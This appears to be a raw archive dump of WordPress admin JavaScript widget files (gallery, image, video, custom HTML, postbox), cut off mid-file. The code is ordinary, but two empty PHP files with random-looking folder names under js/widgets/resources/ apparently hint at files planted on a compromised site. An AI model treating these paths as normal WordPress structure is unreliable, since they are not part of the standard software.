// Directly update selectedAttachments to prevent needing to do additional request. control.selectedAttachments.reset( resultSelection.models ); // Update models in the widget instance. control.model.set( { ids: _.pluck( resultSelection.models, 'id' ) } ); } ); mediaFrame.$el.addClass( 'media-widget' ); mediaFrame.open(); if ( selection ) { selection.on( 'destroy', control.handleAttachmentDestroy ); } }, /** * Open the media select frame to chose an item. * * @since 4.9.0 * @return {void} */ selectMedia: function selectMedia() { var control = this, selection, mediaFrame, mediaFrameProps; selection = new wp.media.model.Selection( control.selectedAttachments.models, { multiple: true }); mediaFrameProps = control.mapModelToMediaFrameProps( control.model.toJSON() ); if ( mediaFrameProps.size ) { control.displaySettings.set( 'size', mediaFrameProps.size ); } mediaFrame = new GalleryDetailsMediaFrame({ frame: 'select', text: control.l10n.add_to_widget, selection: selection, mimeType: control.mime_type, selectedDisplaySettings: control.displaySettings, showDisplaySettings: control.showDisplaySettings, metadata: mediaFrameProps, state: 'gallery' }); wp.media.frame = mediaFrame; // See wp.media(). // Handle selection of a media item. mediaFrame.on( 'update', function onUpdate( newSelection ) { var state = mediaFrame.state(), resultSelection; resultSelection = newSelection || state.get( 'selection' ); if ( ! resultSelection ) { return; } // Copy orderby_random from gallery state. if ( resultSelection.gallery ) { control.model.set( control.mapMediaToModelProps( resultSelection.gallery.toJSON() ) ); } // Directly update selectedAttachments to prevent needing to do additional request. control.selectedAttachments.reset( resultSelection.models ); // Update widget instance. control.model.set( { ids: _.pluck( resultSelection.models, 'id' ) } ); } ); mediaFrame.$el.addClass( 'media-widget' ); mediaFrame.open(); if ( selection ) { selection.on( 'destroy', control.handleAttachmentDestroy ); } /* * Make sure focus is set inside of modal so that hitting Esc will close * the modal and not inadvertently cause the widget to collapse in the customizer. */ mediaFrame.$el.find( ':focusable:first' ).focus(); }, /** * Clear the selected attachment when it is deleted in the media select frame. * * @since 4.9.0 * @param {wp.media.models.Attachment} attachment - Attachment. * @return {void} */ handleAttachmentDestroy: function handleAttachmentDestroy( attachment ) { var control = this; control.model.set( { ids: _.difference( control.model.get( 'ids' ), [ attachment.id ] ) } ); } } ); // Exports. component.controlConstructors.media_gallery = GalleryWidgetControl; component.modelConstructors.media_gallery = GalleryWidgetModel; })( wp.mediaWidgets ); js/widgets/media-image-widget.min.js 0000644 00000003750 15233246127 0013400 0 ustar 00 /*! This file is auto-generated */ !function(a,o){"use strict";var e=a.MediaWidgetModel.extend({}),t=a.MediaWidgetControl.extend({events:_.extend({},a.MediaWidgetControl.prototype.events,{"click .media-widget-preview.populated":"editMedia"}),renderPreview:function(){var e,t,i=this;(i.model.get("attachment_id")||i.model.get("url"))&&(t=i.$el.find(".media-widget-preview"),e=wp.template("wp-media-widget-image-preview"),t.html(e(i.previewTemplateProps.toJSON())),t.addClass("populated"),i.$el.find(".link").is(document.activeElement)||(e=i.$el.find(".media-widget-fields"),t=wp.template("wp-media-widget-image-fields"),e.html(t(i.previewTemplateProps.toJSON()))))},editMedia:function(){var i,e,a=this,t=a.mapModelToMediaFrameProps(a.model.toJSON());"none"===t.link&&(t.linkUrl=""),(i=wp.media({frame:"image",state:"image-details",metadata:t})).$el.addClass("media-widget"),t=function(){var e=i.state().attributes.image.toJSON(),t=e.link;e.link=e.linkUrl,a.selectedAttachment.set(e),a.displaySettings.set("link",t),a.model.set(_.extend(a.mapMediaToModelProps(e),{error:!1}))},i.state("image-details").on("update",t),i.state("replace-image").on("replace",t),e=wp.media.model.Attachment.prototype.sync,wp.media.model.Attachment.prototype.sync=function(){return o.Deferred().rejectWith(this).promise()},i.on("close",function(){i.detach(),wp.media.model.Attachment.prototype.sync=e}),i.open()},getEmbedResetProps:function(){return _.extend(a.MediaWidgetControl.prototype.getEmbedResetProps.call(this),{size:"full",width:0,height:0})},getModelPropsFromMediaFrame:function(e){return _.omit(a.MediaWidgetControl.prototype.getModelPropsFromMediaFrame.call(this,e),"image_title")},mapModelToPreviewTemplateProps:function(){var e=this,t=e.model.get("url"),i=a.MediaWidgetControl.prototype.mapModelToPreviewTemplateProps.call(e);return i.currentFilename=t?t.replace(/\?.*$/,"").replace(/^.+\//,""):"",i.link_url=e.model.get("link_url"),i}});a.controlConstructors.media_image=t,a.modelConstructors.media_image=e}(wp.mediaWidgets,jQuery); js/widgets/media-video-widget.js 0000644 00000015554 15233246127 0012647 0 ustar 00 /** * @output wp-admin/js/widgets/media-video-widget.js */ /* eslint consistent-this: [ "error", "control" ] */ (function( component ) { 'use strict'; var VideoWidgetModel, VideoWidgetControl, VideoDetailsMediaFrame; /** * Custom video details frame that removes the replace-video state. * * @class wp.mediaWidgets.controlConstructors~VideoDetailsMediaFrame * @augments wp.media.view.MediaFrame.VideoDetails * * @private */ VideoDetailsMediaFrame = wp.media.view.MediaFrame.VideoDetails.extend(/** @lends wp.mediaWidgets.controlConstructors~VideoDetailsMediaFrame.prototype */{ /** * Create the default states. * * @return {void} */ createStates: function createStates() { this.states.add([ new wp.media.controller.VideoDetails({ media: this.media }), new wp.media.controller.MediaLibrary({ type: 'video', id: 'add-video-source', title: wp.media.view.l10n.videoAddSourceTitle, toolbar: 'add-video-source', media: this.media, menu: false }), new wp.media.controller.MediaLibrary({ type: 'text', id: 'add-track', title: wp.media.view.l10n.videoAddTrackTitle, toolbar: 'add-track', media: this.media, menu: 'video-details' }) ]); } }); /** * Video widget model. * * See WP_Widget_Video::enqueue_admin_scripts() for amending prototype from PHP exports. * * @class wp.mediaWidgets.modelConstructors.media_video * @augments wp.mediaWidgets.MediaWidgetModel */ VideoWidgetModel = component.MediaWidgetModel.extend({}); /** * Video widget control. * * See WP_Widget_Video::enqueue_admin_scripts() for amending prototype from PHP exports. * * @class wp.mediaWidgets.controlConstructors.media_video * @augments wp.mediaWidgets.MediaWidgetControl */ VideoWidgetControl = component.MediaWidgetControl.extend(/** @lends wp.mediaWidgets.controlConstructors.media_video.prototype */{ /** * Show display settings. * * @type {boolean} */ showDisplaySettings: false, /** * Cache of oembed responses. * * @type {Object} */ oembedResponses: {}, /** * Map model props to media frame props. * * @param {Object} modelProps - Model props. * @return {Object} Media frame props. */ mapModelToMediaFrameProps: function mapModelToMediaFrameProps( modelProps ) { var control = this, mediaFrameProps; mediaFrameProps = component.MediaWidgetControl.prototype.mapModelToMediaFrameProps.call( control, modelProps ); mediaFrameProps.link = 'embed'; return mediaFrameProps; }, /** * Fetches embed data for external videos. * * @return {void} */ fetchEmbed: function fetchEmbed() { var control = this, url; url = control.model.get( 'url' ); // If we already have a local cache of the embed response, return. if ( control.oembedResponses[ url ] ) { return; } // If there is an in-flight embed request, abort it. if ( control.fetchEmbedDfd && 'pending' === control.fetchEmbedDfd.state() ) { control.fetchEmbedDfd.abort(); } control.fetchEmbedDfd = wp.apiRequest({ url: wp.media.view.settings.oEmbedProxyUrl, data: { url: control.model.get( 'url' ), maxwidth: control.model.get( 'width' ), maxheight: control.model.get( 'height' ), discover: false }, type: 'GET', dataType: 'json', context: control }); control.fetchEmbedDfd.done( function( response ) { control.oembedResponses[ url ] = response; control.renderPreview(); }); control.fetchEmbedDfd.fail( function() { control.oembedResponses[ url ] = null; }); }, /** * Whether a url is a supported external host. * * @deprecated since 4.9. * * @return {boolean} Whether url is a supported video host. */ isHostedVideo: function isHostedVideo() { return true; }, /** * Render preview. * * @return {void} */ renderPreview: function renderPreview() { var control = this, previewContainer, previewTemplate, attachmentId, attachmentUrl, poster, html = '', isOEmbed = false, mime, error, urlParser, matches; attachmentId = control.model.get( 'attachment_id' ); attachmentUrl = control.model.get( 'url' ); error = control.model.get( 'error' ); if ( ! attachmentId && ! attachmentUrl ) { return; } // Verify the selected attachment mime is supported. mime = control.selectedAttachment.get( 'mime' ); if ( mime && attachmentId ) { if ( ! _.contains( _.values( wp.media.view.settings.embedMimes ), mime ) ) { error = 'unsupported_file_type'; } } else if ( ! attachmentId ) { urlParser = document.createElement( 'a' ); urlParser.href = attachmentUrl; matches = urlParser.pathname.toLowerCase().match( /\.(\w+)$/ ); if ( matches ) { if ( ! _.contains( _.keys( wp.media.view.settings.embedMimes ), matches[1] ) ) { error = 'unsupported_file_type'; } } else { isOEmbed = true; } } if ( isOEmbed ) { control.fetchEmbed(); if ( control.oembedResponses[ attachmentUrl ] ) { poster = control.oembedResponses[ attachmentUrl ].thumbnail_url; html = control.oembedResponses[ attachmentUrl ].html.replace( /\swidth="\d+"/, ' width="100%"' ).replace( /\sheight="\d+"/, '' ); } } previewContainer = control.$el.find( '.media-widget-preview' ); previewTemplate = wp.template( 'wp-media-widget-video-preview' ); previewContainer.html( previewTemplate({ model: { attachment_id: attachmentId, html: html, src: attachmentUrl, poster: poster }, is_oembed: isOEmbed, error: error })); wp.mediaelement.initialize(); }, /** * Open the media image-edit frame to modify the selected item. * * @return {void} */ editMedia: function editMedia() { var control = this, mediaFrame, metadata, updateCallback; metadata = control.mapModelToMediaFrameProps( control.model.toJSON() ); // Set up the media frame. mediaFrame = new VideoDetailsMediaFrame({ frame: 'video', state: 'video-details', metadata: metadata }); wp.media.frame = mediaFrame; mediaFrame.$el.addClass( 'media-widget' ); updateCallback = function( mediaFrameProps ) { // Update cached attachment object to avoid having to re-fetch. This also triggers re-rendering of preview. control.selectedAttachment.set( mediaFrameProps ); control.model.set( _.extend( _.omit( control.model.defaults(), 'title' ), control.mapMediaToModelProps( mediaFrameProps ), { error: false } ) ); }; mediaFrame.state( 'video-details' ).on( 'update', updateCallback ); mediaFrame.state( 'replace-video' ).on( 'replace', updateCallback ); mediaFrame.on( 'close', function() { mediaFrame.detach(); }); mediaFrame.open(); } }); // Exports. component.controlConstructors.media_video = VideoWidgetControl; component.modelConstructors.media_video = VideoWidgetModel; })( wp.mediaWidgets ); js/widgets/media-image-widget.js 0000644 00000012534 15233246127 0012616 0 ustar 00 /** * @output wp-admin/js/widgets/media-image-widget.js */ /* eslint consistent-this: [ "error", "control" ] */ (function( component, $ ) { 'use strict'; var ImageWidgetModel, ImageWidgetControl; /** * Image widget model. * * See WP_Widget_Media_Image::enqueue_admin_scripts() for amending prototype from PHP exports. * * @class wp.mediaWidgets.modelConstructors.media_image * @augments wp.mediaWidgets.MediaWidgetModel */ ImageWidgetModel = component.MediaWidgetModel.extend({}); /** * Image widget control. * * See WP_Widget_Media_Image::enqueue_admin_scripts() for amending prototype from PHP exports. * * @class wp.mediaWidgets.controlConstructors.media_audio * @augments wp.mediaWidgets.MediaWidgetControl */ ImageWidgetControl = component.MediaWidgetControl.extend(/** @lends wp.mediaWidgets.controlConstructors.media_image.prototype */{ /** * View events. * * @type {object} */ events: _.extend( {}, component.MediaWidgetControl.prototype.events, { 'click .media-widget-preview.populated': 'editMedia' } ), /** * Render preview. * * @return {void} */ renderPreview: function renderPreview() { var control = this, previewContainer, previewTemplate, fieldsContainer, fieldsTemplate, linkInput; if ( ! control.model.get( 'attachment_id' ) && ! control.model.get( 'url' ) ) { return; } previewContainer = control.$el.find( '.media-widget-preview' ); previewTemplate = wp.template( 'wp-media-widget-image-preview' ); previewContainer.html( previewTemplate( control.previewTemplateProps.toJSON() ) ); previewContainer.addClass( 'populated' ); linkInput = control.$el.find( '.link' ); if ( ! linkInput.is( document.activeElement ) ) { fieldsContainer = control.$el.find( '.media-widget-fields' ); fieldsTemplate = wp.template( 'wp-media-widget-image-fields' ); fieldsContainer.html( fieldsTemplate( control.previewTemplateProps.toJSON() ) ); } }, /** * Open the media image-edit frame to modify the selected item. * * @return {void} */ editMedia: function editMedia() { var control = this, mediaFrame, updateCallback, defaultSync, metadata; metadata = control.mapModelToMediaFrameProps( control.model.toJSON() ); // Needed or else none will not be selected if linkUrl is not also empty. if ( 'none' === metadata.link ) { metadata.linkUrl = ''; } // Set up the media frame. mediaFrame = wp.media({ frame: 'image', state: 'image-details', metadata: metadata }); mediaFrame.$el.addClass( 'media-widget' ); updateCallback = function() { var mediaProps, linkType; // Update cached attachment object to avoid having to re-fetch. This also triggers re-rendering of preview. mediaProps = mediaFrame.state().attributes.image.toJSON(); linkType = mediaProps.link; mediaProps.link = mediaProps.linkUrl; control.selectedAttachment.set( mediaProps ); control.displaySettings.set( 'link', linkType ); control.model.set( _.extend( control.mapMediaToModelProps( mediaProps ), { error: false } ) ); }; mediaFrame.state( 'image-details' ).on( 'update', updateCallback ); mediaFrame.state( 'replace-image' ).on( 'replace', updateCallback ); // Disable syncing of attachment changes back to server. See <https://core.trac.wordpress.org/ticket/40403>. defaultSync = wp.media.model.Attachment.prototype.sync; wp.media.model.Attachment.prototype.sync = function rejectedSync() { return $.Deferred().rejectWith( this ).promise(); }; mediaFrame.on( 'close', function onClose() { mediaFrame.detach(); wp.media.model.Attachment.prototype.sync = defaultSync; }); mediaFrame.open(); }, /** * Get props which are merged on top of the model when an embed is chosen (as opposed to an attachment). * * @return {Object} Reset/override props. */ getEmbedResetProps: function getEmbedResetProps() { return _.extend( component.MediaWidgetControl.prototype.getEmbedResetProps.call( this ), { size: 'full', width: 0, height: 0 } ); }, /** * Get the instance props from the media selection frame. * * Prevent the image_title attribute from being initially set when adding an image from the media library. * * @param {wp.media.view.MediaFrame.Select} mediaFrame - Select frame. * @return {Object} Props. */ getModelPropsFromMediaFrame: function getModelPropsFromMediaFrame( mediaFrame ) { var control = this; return _.omit( component.MediaWidgetControl.prototype.getModelPropsFromMediaFrame.call( control, mediaFrame ), 'image_title' ); }, /** * Map model props to preview template props. * * @return {Object} Preview template props. */ mapModelToPreviewTemplateProps: function mapModelToPreviewTemplateProps() { var control = this, previewTemplateProps, url; url = control.model.get( 'url' ); previewTemplateProps = component.MediaWidgetControl.prototype.mapModelToPreviewTemplateProps.call( control ); previewTemplateProps.currentFilename = url ? url.replace( /\?.*$/, '' ).replace( /^.+\//, '' ) : ''; previewTemplateProps.link_url = control.model.get( 'link_url' ); return previewTemplateProps; } }); // Exports. component.controlConstructors.media_image = ImageWidgetControl; component.modelConstructors.media_image = ImageWidgetModel; })( wp.mediaWidgets, jQuery ); js/widgets/custom-html-widgets.js 0000644 00000036617 15233246127 0013126 0 ustar 00 /** * @output wp-admin/js/widgets/custom-html-widgets.js */ /* global wp */ /* eslint consistent-this: [ "error", "control" ] */ /* eslint no-magic-numbers: ["error", { "ignore": [0,1,-1] }] */ /** * @namespace wp.customHtmlWidget * @memberOf wp */ wp.customHtmlWidgets = ( function( $ ) { 'use strict'; var component = { idBases: [ 'custom_html' ], codeEditorSettings: {}, l10n: { errorNotice: { singular: '', plural: '' } } }; component.CustomHtmlWidgetControl = Backbone.View.extend(/** @lends wp.customHtmlWidgets.CustomHtmlWidgetControl.prototype */{ /** * View events. * * @type {Object} */ events: {}, /** * Text widget control. * * @constructs wp.customHtmlWidgets.CustomHtmlWidgetControl * @augments Backbone.View * @abstract * * @param {Object} options - Options. * @param {jQuery} options.el - Control field container element. * @param {jQuery} options.syncContainer - Container element where fields are synced for the server. * * @return {void} */ initialize: function initialize( options ) { var control = this; if ( ! options.el ) { throw new Error( 'Missing options.el' ); } if ( ! options.syncContainer ) { throw new Error( 'Missing options.syncContainer' ); } Backbone.View.prototype.initialize.call( control, options ); control.syncContainer = options.syncContainer; control.widgetIdBase = control.syncContainer.parent().find( '.id_base' ).val(); control.widgetNumber = control.syncContainer.parent().find( '.widget_number' ).val(); control.customizeSettingId = 'widget_' + control.widgetIdBase + '[' + String( control.widgetNumber ) + ']'; control.$el.addClass( 'custom-html-widget-fields' ); control.$el.html( wp.template( 'widget-custom-html-control-fields' )( { codeEditorDisabled: component.codeEditorSettings.disabled } ) ); control.errorNoticeContainer = control.$el.find( '.code-editor-error-container' ); control.currentErrorAnnotations = []; control.saveButton = control.syncContainer.add( control.syncContainer.parent().find( '.widget-control-actions' ) ).find( '.widget-control-save, #savewidget' ); control.saveButton.addClass( 'custom-html-widget-save-button' ); // To facilitate style targeting. control.fields = { title: control.$el.find( '.title' ), content: control.$el.find( '.content' ) }; // Sync input fields to hidden sync fields which actually get sent to the server. _.each( control.fields, function( fieldInput, fieldName ) { fieldInput.on( 'input change', function updateSyncField() { var syncInput = control.syncContainer.find( '.sync-input.' + fieldName ); if ( syncInput.val() !== fieldInput.val() ) { syncInput.val( fieldInput.val() ); syncInput.trigger( 'change' ); } }); // Note that syncInput cannot be re-used because it will be destroyed with each widget-updated event. fieldInput.val( control.syncContainer.find( '.sync-input.' + fieldName ).val() ); }); }, /** * Update input fields from the sync fields. * * This function is called at the widget-updated and widget-synced events. * A field will only be updated if it is not currently focused, to avoid * overwriting content that the user is entering. * * @return {void} */ updateFields: function updateFields() { var control = this, syncInput; if ( ! control.fields.title.is( document.activeElement ) ) { syncInput = control.syncContainer.find( '.sync-input.title' ); control.fields.title.val( syncInput.val() ); } /* * Prevent updating content when the editor is focused or if there are current error annotations, * to prevent the editor's contents from getting sanitized as soon as a user removes focus from * the editor. This is particularly important for users who cannot unfiltered_html. */ control.contentUpdateBypassed = control.fields.content.is( document.activeElement ) || control.editor && control.editor.codemirror.state.focused || 0 !== control.currentErrorAnnotations.length; if ( ! control.contentUpdateBypassed ) { syncInput = control.syncContainer.find( '.sync-input.content' ); control.fields.content.val( syncInput.val() ); } }, /** * Show linting error notice. * * @param {Array} errorAnnotations - Error annotations. * @return {void} */ updateErrorNotice: function( errorAnnotations ) { var control = this, errorNotice, message = '', customizeSetting; if ( 1 === errorAnnotations.length ) { message = component.l10n.errorNotice.singular.replace( '%d', '1' ); } else if ( errorAnnotations.length > 1 ) { message = component.l10n.errorNotice.plural.replace( '%d', String( errorAnnotations.length ) ); } if ( control.fields.content[0].setCustomValidity ) { control.fields.content[0].setCustomValidity( message ); } if ( wp.customize && wp.customize.has( control.customizeSettingId ) ) { customizeSetting = wp.customize( control.customizeSettingId ); customizeSetting.notifications.remove( 'htmlhint_error' ); if ( 0 !== errorAnnotations.length ) { customizeSetting.notifications.add( 'htmlhint_error', new wp.customize.Notification( 'htmlhint_error', { message: message, type: 'error' } ) ); } } else if ( 0 !== errorAnnotations.length ) { errorNotice = $( '<div class="inline notice notice-error notice-alt" role="alert"></div>' ); errorNotice.append( $( '<p></p>', { text: message } ) ); control.errorNoticeContainer.empty(); control.errorNoticeContainer.append( errorNotice ); control.errorNoticeContainer.slideDown( 'fast' ); wp.a11y.speak( message ); } else { control.errorNoticeContainer.slideUp( 'fast' ); } }, /** * Initialize editor. * * @return {void} */ initializeEditor: function initializeEditor() { var control = this, settings; if ( component.codeEditorSettings.disabled ) { return; } settings = _.extend( {}, component.codeEditorSettings, { /** * Handle tabbing to the field before the editor. * * @ignore * * @return {void} */ onTabPrevious: function onTabPrevious() { control.fields.title.focus(); }, /** * Handle tabbing to the field after the editor. * * @ignore * * @return {void} */ onTabNext: function onTabNext() { var tabbables = control.syncContainer.add( control.syncContainer.parent().find( '.widget-position, .widget-control-actions' ) ).find( ':tabbable' ); tabbables.first().focus(); }, /** * Disable save button and store linting errors for use in updateFields. * * @ignore * * @param {Array} errorAnnotations - Error notifications. * @return {void} */ onChangeLintingErrors: function onChangeLintingErrors( errorAnnotations ) { control.currentErrorAnnotations = errorAnnotations; }, /** * Update error notice. * * @ignore * * @param {Array} errorAnnotations - Error annotations. * @return {void} */ onUpdateErrorNotice: function onUpdateErrorNotice( errorAnnotations ) { control.saveButton.toggleClass( 'validation-blocked disabled', errorAnnotations.length > 0 ); control.updateErrorNotice( errorAnnotations ); } }); control.editor = wp.codeEditor.initialize( control.fields.content, settings ); // Improve the editor accessibility. $( control.editor.codemirror.display.lineDiv ) .attr({ role: 'textbox', 'aria-multiline': 'true', 'aria-labelledby': control.fields.content[0].id + '-label', 'aria-describedby': 'editor-keyboard-trap-help-1 editor-keyboard-trap-help-2 editor-keyboard-trap-help-3 editor-keyboard-trap-help-4' }); // Focus the editor when clicking on its label. $( '#' + control.fields.content[0].id + '-label' ).on( 'click', function() { control.editor.codemirror.focus(); }); control.fields.content.on( 'change', function() { if ( this.value !== control.editor.codemirror.getValue() ) { control.editor.codemirror.setValue( this.value ); } }); control.editor.codemirror.on( 'change', function() { var value = control.editor.codemirror.getValue(); if ( value !== control.fields.content.val() ) { control.fields.content.val( value ).trigger( 'change' ); } }); // Make sure the editor gets updated if the content was updated on the server (sanitization) but not updated in the editor since it was focused. control.editor.codemirror.on( 'blur', function() { if ( control.contentUpdateBypassed ) { control.syncContainer.find( '.sync-input.content' ).trigger( 'change' ); } }); // Prevent hitting Esc from collapsing the widget control. if ( wp.customize ) { control.editor.codemirror.on( 'keydown', function onKeydown( codemirror, event ) { var escKeyCode = 27; if ( escKeyCode === event.keyCode ) { event.stopPropagation(); } }); } } }); /** * Mapping of widget ID to instances of CustomHtmlWidgetControl subclasses. * * @alias wp.customHtmlWidgets.widgetControls * * @type {Object.<string, wp.textWidgets.CustomHtmlWidgetControl>} */ component.widgetControls = {}; /** * Handle widget being added or initialized for the first time at the widget-added event. * * @alias wp.customHtmlWidgets.handleWidgetAdded * * @param {jQuery.Event} event - Event. * @param {jQuery} widgetContainer - Widget container element. * * @return {void} */ component.handleWidgetAdded = function handleWidgetAdded( event, widgetContainer ) { var widgetForm, idBase, widgetControl, widgetId, animatedCheckDelay = 50, renderWhenAnimationDone, fieldContainer, syncContainer; widgetForm = widgetContainer.find( '> .widget-inside > .form, > .widget-inside > form' ); // Note: '.form' appears in the customizer, whereas 'form' on the widgets admin screen. idBase = widgetForm.find( '> .id_base' ).val(); if ( -1 === component.idBases.indexOf( idBase ) ) { return; } // Prevent initializing already-added widgets. widgetId = widgetForm.find( '.widget-id' ).val(); if ( component.widgetControls[ widgetId ] ) { return; } /* * Create a container element for the widget control fields. * This is inserted into the DOM immediately before the the .widget-content * element because the contents of this element are essentially "managed" * by PHP, where each widget update cause the entire element to be emptied * and replaced with the rendered output of WP_Widget::form() which is * sent back in Ajax request made to save/update the widget instance. * To prevent a "flash of replaced DOM elements and re-initialized JS * components", the JS template is rendered outside of the normal form * container. */ fieldContainer = $( '<div></div>' ); syncContainer = widgetContainer.find( '.widget-content:first' ); syncContainer.before( fieldContainer ); widgetControl = new component.CustomHtmlWidgetControl({ el: fieldContainer, syncContainer: syncContainer }); component.widgetControls[ widgetId ] = widgetControl; /* * Render the widget once the widget parent's container finishes animating, * as the widget-added event fires with a slideDown of the container. * This ensures that the textarea is visible and the editor can be initialized. */ renderWhenAnimationDone = function() { if ( ! ( wp.customize ? widgetContainer.parent().hasClass( 'expanded' ) : widgetContainer.hasClass( 'open' ) ) ) { // Core merge: The wp.customize condition can be eliminated with this change being in core: https://core.trac.wordpress.org/changeset/41260 setTimeout( renderWhenAnimationDone, animatedCheckDelay ); } else { widgetControl.initializeEditor(); } }; renderWhenAnimationDone(); }; /** * Setup widget in accessibility mode. * * @alias wp.customHtmlWidgets.setupAccessibleMode * * @return {void} */ component.setupAccessibleMode = function setupAccessibleMode() { var widgetForm, idBase, widgetControl, fieldContainer, syncContainer; widgetForm = $( '.editwidget > form' ); if ( 0 === widgetForm.length ) { return; } idBase = widgetForm.find( '.id_base' ).val(); if ( -1 === component.idBases.indexOf( idBase ) ) { return; } fieldContainer = $( '<div></div>' ); syncContainer = widgetForm.find( '> .widget-inside' ); syncContainer.before( fieldContainer ); widgetControl = new component.CustomHtmlWidgetControl({ el: fieldContainer, syncContainer: syncContainer }); widgetControl.initializeEditor(); }; /** * Sync widget instance data sanitized from server back onto widget model. * * This gets called via the 'widget-updated' event when saving a widget from * the widgets admin screen and also via the 'widget-synced' event when making * a change to a widget in the customizer. * * @alias wp.customHtmlWidgets.handleWidgetUpdated * * @param {jQuery.Event} event - Event. * @param {jQuery} widgetContainer - Widget container element. * @return {void} */ component.handleWidgetUpdated = function handleWidgetUpdated( event, widgetContainer ) { var widgetForm, widgetId, widgetControl, idBase; widgetForm = widgetContainer.find( '> .widget-inside > .form, > .widget-inside > form' ); idBase = widgetForm.find( '> .id_base' ).val(); if ( -1 === component.idBases.indexOf( idBase ) ) { return; } widgetId = widgetForm.find( '> .widget-id' ).val(); widgetControl = component.widgetControls[ widgetId ]; if ( ! widgetControl ) { return; } widgetControl.updateFields(); }; /** * Initialize functionality. * * This function exists to prevent the JS file from having to boot itself. * When WordPress enqueues this script, it should have an inline script * attached which calls wp.textWidgets.init(). * * @alias wp.customHtmlWidgets.init * * @param {Object} settings - Options for code editor, exported from PHP. * * @return {void} */ component.init = function init( settings ) { var $document = $( document ); _.extend( component.codeEditorSettings, settings ); $document.on( 'widget-added', component.handleWidgetAdded ); $document.on( 'widget-synced widget-updated', component.handleWidgetUpdated ); /* * Manually trigger widget-added events for media widgets on the admin * screen once they are expanded. The widget-added event is not triggered * for each pre-existing widget on the widgets admin screen like it is * on the customizer. Likewise, the customizer only triggers widget-added * when the widget is expanded to just-in-time construct the widget form * when it is actually going to be displayed. So the following implements * the same for the widgets admin screen, to invoke the widget-added * handler when a pre-existing media widget is expanded. */ $( function initializeExistingWidgetContainers() { var widgetContainers; if ( 'widgets' !== window.pagenow ) { return; } widgetContainers = $( '.widgets-holder-wrap:not(#available-widgets)' ).find( 'div.widget' ); widgetContainers.one( 'click.toggle-widget-expanded', function toggleWidgetExpanded() { var widgetContainer = $( this ); component.handleWidgetAdded( new jQuery.Event( 'widget-added' ), widgetContainer ); }); // Accessibility mode. if ( document.readyState === 'complete' ) { // Page is fully loaded. component.setupAccessibleMode(); } else { // Page is still loading. $( window ).on( 'load', function() { component.setupAccessibleMode(); }); } }); }; return component; })( jQuery ); js/widgets/resources/2025/media/cache/2024/zkmmp/jbtg/index.php 0000644 00000000000 15233246127 0017640 0 ustar 00 js/widgets/resources/2025/cxszz/sogbb/admin.php 0000644 00000000000 15233246127 0015301 0 ustar 00 js/postbox.min.js 0000644 00000015151 15233246127 0010006 0 ustar 00 /*! This file is auto-generated */ !function(l){var a=l(document),r=wp.i18n.__;window.postboxes={handle_click:function(){var e,o=l(this),s=o.closest(".postbox"),t=s.attr("id");"dashboard_browser_nag"!==t&&(s.toggleClass("closed"),e=!s.hasClass("closed"),(o.hasClass("handlediv")?o:o.closest(".postbox").find("button.handlediv")).attr("aria-expanded",e),"press-this"!==postboxes.page&&postboxes.save_state(postboxes.page),t&&(s.hasClass("closed")||"function"!=typeof postboxes.pbshow?s.hasClass("closed")&&"function"==typeof postboxes.pbhide&&postboxes.pbhide(t):postboxes.pbshow(t)),a.trigger("postbox-toggled",s))},handleOrder:function(){var e=l(this),o=e.closest(".postbox"),s=o.attr("id"),t=o.closest(".meta-box-sortables").find(".postbox:visible"),a=t.length,t=t.index(o);if("dashboard_browser_nag"!==s)if("true"===e.attr("aria-disabled"))s=e.hasClass("handle-order-higher")?r("The box is on the first position"):r("The box is on the last position"),wp.a11y.speak(s);else{if(e.hasClass("handle-order-higher")){if(0===t)return void postboxes.handleOrderBetweenSortables("previous",e,o);o.prevAll(".postbox:visible").eq(0).before(o),e.trigger("focus"),postboxes.updateOrderButtonsProperties(),postboxes.save_order(postboxes.page)}e.hasClass("handle-order-lower")&&(t+1===a?postboxes.handleOrderBetweenSortables("next",e,o):(o.nextAll(".postbox:visible").eq(0).after(o),e.trigger("focus"),postboxes.updateOrderButtonsProperties(),postboxes.save_order(postboxes.page)))}},handleOrderBetweenSortables:function(e,o,s){var t=o.closest(".meta-box-sortables").attr("id"),a=[];l(".meta-box-sortables:visible").each(function(){a.push(l(this).attr("id"))}),1!==a.length&&(t=l.inArray(t,a),s=s.detach(),"previous"===e&&l(s).appendTo("#"+a[t-1]),"next"===e&&l(s).prependTo("#"+a[t+1]),postboxes._mark_area(),o.focus(),postboxes.updateOrderButtonsProperties(),postboxes.save_order(postboxes.page))},updateOrderButtonsProperties:function(){var e=l(".meta-box-sortables:visible:first").attr("id"),o=l(".meta-box-sortables:visible:last").attr("id"),s=l(".postbox:visible:first"),t=l(".postbox:visible:last"),a=s.attr("id"),r=t.attr("id"),i=s.closest(".meta-box-sortables").attr("id"),t=t.closest(".meta-box-sortables").attr("id"),n=l(".handle-order-higher"),d=l(".handle-order-lower");n.attr("aria-disabled","false").removeClass("hidden"),d.attr("aria-disabled","false").removeClass("hidden"),e===o&&a===r&&(n.addClass("hidden"),d.addClass("hidden")),e===i&&l(s).find(".handle-order-higher").attr("aria-disabled","true"),o===t&&l(".postbox:visible .handle-order-lower").last().attr("aria-disabled","true")},add_postbox_toggles:function(t,e){var o=l(".postbox .hndle, .postbox .handlediv"),s=l(".postbox .handle-order-higher, .postbox .handle-order-lower");this.page=t,this.init(t,e),o.on("click.postboxes",this.handle_click),s.on("click.postboxes",this.handleOrder),l(".postbox .hndle a").on("click",function(e){e.stopPropagation()}),l(".postbox a.dismiss").on("click.postboxes",function(e){var o=l(this).parents(".postbox").attr("id")+"-hide";e.preventDefault(),l("#"+o).prop("checked",!1).triggerHandler("click")}),l(".hide-postbox-tog").on("click.postboxes",function(){var e=l(this),o=e.val(),s=l("#"+o);e.prop("checked")?(s.show(),"function"==typeof postboxes.pbshow&&postboxes.pbshow(o)):(s.hide(),"function"==typeof postboxes.pbhide&&postboxes.pbhide(o)),postboxes.save_state(t),postboxes._mark_area(),a.trigger("postbox-toggled",s)}),l('.columns-prefs input[type="radio"]').on("click.postboxes",function(){var e=parseInt(l(this).val(),10);e&&(postboxes._pb_edit(e),postboxes.save_order(t))})},init:function(o,e){var s=l(document.body).hasClass("mobile"),t=l(".postbox .handlediv");l.extend(this,e||{}),l(".meta-box-sortables").sortable({placeholder:"sortable-placeholder",connectWith:".meta-box-sortables",items:".postbox",handle:".hndle",cursor:"move",delay:s?200:0,distance:2,tolerance:"pointer",forcePlaceholderSize:!0,helper:function(e,o){return 